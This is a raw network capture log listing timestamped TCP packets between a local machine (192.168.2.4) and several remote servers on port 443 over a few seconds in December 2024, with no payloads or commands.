Dec 6, 2024 00:15:59.698652029 CET	49898	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:59.698678017 CET	443	49898	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:59.698831081 CET	49897	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:59.698846102 CET	443	49897	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:59.698848963 CET	443	49901	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:59.699070930 CET	49898	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:59.699074984 CET	443	49898	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:59.699287891 CET	49901	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:59.699316025 CET	443	49901	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:59.699615955 CET	49901	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:59.699620962 CET	443	49901	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:59.699629068 CET	49897	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:59.699635029 CET	443	49897	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:59.700325966 CET	443	49900	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:59.700650930 CET	49900	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:59.700664997 CET	443	49900	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:59.701033115 CET	49900	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:59.701037884 CET	443	49900	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.132900953 CET	443	49898	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.132947922 CET	443	49898	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.133032084 CET	49898	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.133291006 CET	49898	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.133301973 CET	443	49898	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.133311033 CET	49898	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.133316040 CET	443	49898	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.133326054 CET	443	49899	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.133346081 CET	443	49899	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.133392096 CET	49899	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.133409977 CET	443	49899	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.133450985 CET	49899	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.133523941 CET	49899	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.133528948 CET	443	49899	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.133539915 CET	49899	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.133645058 CET	443	49899	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.133670092 CET	443	49899	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.133708954 CET	49899	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.134068966 CET	443	49901	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.134094954 CET	443	49900	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.134113073 CET	443	49901	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.134118080 CET	443	49900	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.134171009 CET	443	49900	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.134176970 CET	49900	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.134180069 CET	49901	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.134208918 CET	49900	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.134303093 CET	49901	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.134318113 CET	443	49901	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.134330988 CET	49901	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.134335995 CET	443	49901	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.134393930 CET	49900	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.134404898 CET	443	49900	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.134414911 CET	49900	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.134418011 CET	443	49900	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.137106895 CET	443	49897	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.137126923 CET	443	49897	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.137166023 CET	443	49897	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.137198925 CET	49897	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.137242079 CET	49905	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.137243986 CET	49897	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.137257099 CET	443	49905	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.137316942 CET	49905	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.137447119 CET	49905	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.137456894 CET	443	49905	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.137494087 CET	49906	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.137516975 CET	443	49906	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.137562037 CET	49906	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.137784004 CET	49897	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.137790918 CET	443	49897	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.138279915 CET	49907	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.138286114 CET	443	49907	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.138349056 CET	49907	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.138533115 CET	49907	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.138542891 CET	443	49907	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.138684988 CET	49906	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.138694048 CET	443	49906	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.139596939 CET	49908	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.139611006 CET	443	49908	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.139674902 CET	49908	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.139733076 CET	49909	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.139744997 CET	443	49909	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.139803886 CET	49909	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.139826059 CET	49908	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.139836073 CET	443	49908	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.139919043 CET	49909	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:00.139929056 CET	443	49909	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:00.646042109 CET	443	49902	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:00.646128893 CET	49902	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:00.646781921 CET	443	49902	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:00.646843910 CET	49902	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:00.649058104 CET	443	49903	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:00.649137974 CET	49903	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:00.649801016 CET	443	49903	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:00.649858952 CET	49903	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:00.650528908 CET	49902	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:00.650537014 CET	443	49902	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:00.650774956 CET	443	49902	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:00.650829077 CET	49902	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:00.651223898 CET	49902	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:00.651290894 CET	49903	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:00.651302099 CET	443	49903	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:00.651545048 CET	443	49903	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:00.651597977 CET	49903	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:00.651968956 CET	49903	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:00.691335917 CET	443	49902	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:00.695333958 CET	443	49903	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:01.549734116 CET	443	49902	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:01.549807072 CET	49902	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:01.549824953 CET	443	49902	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:01.549870014 CET	49902	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:01.550093889 CET	49902	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:01.550115108 CET	443	49902	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:01.550164938 CET	49902	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:01.550790071 CET	49912	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:01.550820112 CET	443	49912	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:01.550880909 CET	49912	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:01.551090956 CET	49912	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:01.551103115 CET	443	49912	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:01.552639961 CET	49913	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:01.552669048 CET	443	49913	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:01.552747965 CET	49913	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:01.552926064 CET	49913	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:01.552936077 CET	443	49913	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:01.557167053 CET	443	49903	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:01.557220936 CET	49903	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:01.557239056 CET	443	49903	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:01.557281017 CET	49903	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:01.557348013 CET	49903	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:01.557379007 CET	443	49903	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:01.557423115 CET	49903	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:01.557722092 CET	49914	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:01.557729006 CET	443	49914	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:01.557791948 CET	49914	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:01.557806969 CET	49915	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:01.557816982 CET	443	49915	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:01.557863951 CET	49915	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:01.557949066 CET	49914	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:01.557959080 CET	443	49914	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:01.558109045 CET	49915	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:01.558118105 CET	443	49915	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:01.720411062 CET	443	49906	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:01.721165895 CET	49906	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:01.721190929 CET	443	49906	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:01.721647024 CET	49906	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:01.721652985 CET	443	49906	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:01.913333893 CET	443	49907	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:01.913758993 CET	49907	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:01.913773060 CET	443	49907	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:01.914112091 CET	443	49905	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:01.914274931 CET	49907	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:01.914280891 CET	443	49907	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:01.914509058 CET	49905	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:01.914516926 CET	443	49905	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:01.914541960 CET	443	49908	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:01.914556026 CET	443	49909	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:01.914920092 CET	49905	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:01.914925098 CET	443	49905	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:01.915255070 CET	49908	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:01.915271997 CET	443	49908	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:01.915604115 CET	49908	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:01.915607929 CET	443	49908	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:01.915678024 CET	49909	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:01.915697098 CET	443	49909	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:01.916008949 CET	49909	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:01.916013956 CET	443	49909	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.155586958 CET	443	49906	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.155632973 CET	443	49906	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.155735016 CET	49906	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.156094074 CET	49906	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.156116009 CET	443	49906	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.156126022 CET	49906	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.156131029 CET	443	49906	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.160430908 CET	49916	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.160479069 CET	443	49916	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.160547018 CET	49916	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.161807060 CET	49916	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.161829948 CET	443	49916	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.349927902 CET	443	49908	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.349976063 CET	443	49908	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.350030899 CET	49908	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.350102901 CET	443	49905	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.350176096 CET	443	49905	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.350212097 CET	49905	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.350657940 CET	443	49907	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.350702047 CET	443	49907	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.350738049 CET	49907	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.352308989 CET	443	49909	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.352351904 CET	443	49909	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.352392912 CET	49909	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.353591919 CET	49905	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.353610039 CET	443	49905	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.353624105 CET	49905	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.353627920 CET	443	49905	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.361845016 CET	49908	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.361855984 CET	443	49908	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.361865997 CET	49908	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.361871958 CET	443	49908	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.364535093 CET	49907	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.364537954 CET	443	49907	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.364547014 CET	49907	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.364551067 CET	443	49907	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.365386963 CET	49909	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.365396976 CET	443	49909	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.365408897 CET	49909	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.365412951 CET	443	49909	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.367819071 CET	49917	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.367849112 CET	443	49917	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.367918015 CET	49917	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.368313074 CET	49917	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.368324995 CET	443	49917	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.368980885 CET	49918	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.369002104 CET	443	49918	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.369059086 CET	49918	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.369154930 CET	49918	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.369168997 CET	443	49918	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.376876116 CET	49919	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.376883030 CET	443	49919	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.376948118 CET	49919	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.377494097 CET	49919	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.377502918 CET	443	49919	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.380085945 CET	49920	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.380110025 CET	443	49920	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:02.380173922 CET	49920	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.380422115 CET	49920	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:02.380435944 CET	443	49920	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:03.244844913 CET	443	49912	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:03.245040894 CET	49912	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:03.245481968 CET	443	49912	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:03.245541096 CET	49912	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:03.248655081 CET	49912	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:03.248661041 CET	443	49912	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:03.248856068 CET	443	49912	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:03.248917103 CET	49912	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:03.249272108 CET	49912	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:03.260200024 CET	443	49913	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:03.260292053 CET	49913	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:03.263083935 CET	49913	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:03.263092995 CET	443	49913	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:03.263298035 CET	443	49913	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:03.263348103 CET	49913	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:03.263782978 CET	49913	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:03.263850927 CET	443	49915	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:03.263912916 CET	49915	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:03.264020920 CET	443	49914	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:03.264075041 CET	49914	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:03.264767885 CET	443	49914	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:03.264816999 CET	49914	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:03.265264034 CET	49915	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:03.265268087 CET	443	49915	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:03.265477896 CET	443	49915	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:03.265525103 CET	49915	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:03.266755104 CET	49915	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:03.266880035 CET	49914	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:03.266885042 CET	443	49914	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:03.267134905 CET	443	49914	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:03.267184973 CET	49914	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:03.267419100 CET	49914	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:03.291337013 CET	443	49912	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:03.311331987 CET	443	49913	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:03.311342001 CET	443	49915	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:03.315330982 CET	443	49914	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:03.765158892 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:03.765193939 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:03.765250921 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:03.765603065 CET	49922	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:03.765616894 CET	443	49922	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:03.871521950 CET	443	49916	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:03.872256994 CET	49916	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:03.872289896 CET	443	49916	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:03.872648954 CET	49916	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:03.872654915 CET	443	49916	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.076457024 CET	443	49917	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.076961994 CET	49917	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.076980114 CET	443	49917	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.077460051 CET	49917	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.077465057 CET	443	49917	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.084629059 CET	443	49918	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.084892035 CET	49918	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.084917068 CET	443	49918	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.085216045 CET	49918	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.085222006 CET	443	49918	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.090717077 CET	443	49919	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.090944052 CET	49919	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.090950012 CET	443	49919	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.091243982 CET	49919	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.091248989 CET	443	49919	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.096878052 CET	443	49920	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.097107887 CET	49920	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.097137928 CET	443	49920	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.097415924 CET	49920	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.097424030 CET	443	49920	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.152117014 CET	443	49912	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:04.152934074 CET	49912	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:04.152947903 CET	443	49912	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:04.153004885 CET	49912	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:04.153239965 CET	49912	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:04.153264999 CET	443	49912	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:04.153297901 CET	443	49912	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:04.153377056 CET	49912	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:04.153378010 CET	49912	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:04.153961897 CET	49923	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:04.153987885 CET	443	49923	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:04.154046059 CET	49923	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:04.154300928 CET	49923	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:04.154310942 CET	443	49923	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:04.200042009 CET	443	49913	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:04.200077057 CET	443	49913	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:04.200124979 CET	49913	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:04.200146914 CET	443	49913	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:04.200158119 CET	443	49913	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:04.200158119 CET	49913	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:04.200196028 CET	49913	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:04.200858116 CET	49913	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:04.200867891 CET	443	49913	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:04.201261997 CET	49926	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:04.201301098 CET	443	49926	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:04.201375008 CET	49926	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:04.201551914 CET	49926	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:16:04.201567888 CET	443	49926	142.250.181.33	192.168.2.4
Dec 6, 2024 00:16:04.266736984 CET	443	49914	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:04.267792940 CET	49914	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:04.267802954 CET	443	49914	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:04.267848969 CET	49914	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:04.267918110 CET	49914	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:04.267951012 CET	443	49914	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:04.268110991 CET	443	49914	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:04.268165112 CET	49914	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:04.268407106 CET	49927	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:04.268409014 CET	49914	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:04.268435955 CET	443	49927	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:04.268937111 CET	49927	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:04.269099951 CET	49927	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:16:04.269112110 CET	443	49927	142.250.181.14	192.168.2.4
Dec 6, 2024 00:16:04.300116062 CET	443	49916	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.300164938 CET	443	49916	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.300249100 CET	49916	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.300483942 CET	49916	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.300503016 CET	443	49916	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.300513029 CET	49916	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.300518036 CET	443	49916	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:04.303029060 CET	49928	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:04.303056002 CET	443	49928	13.107.246.63	192.168.2.4
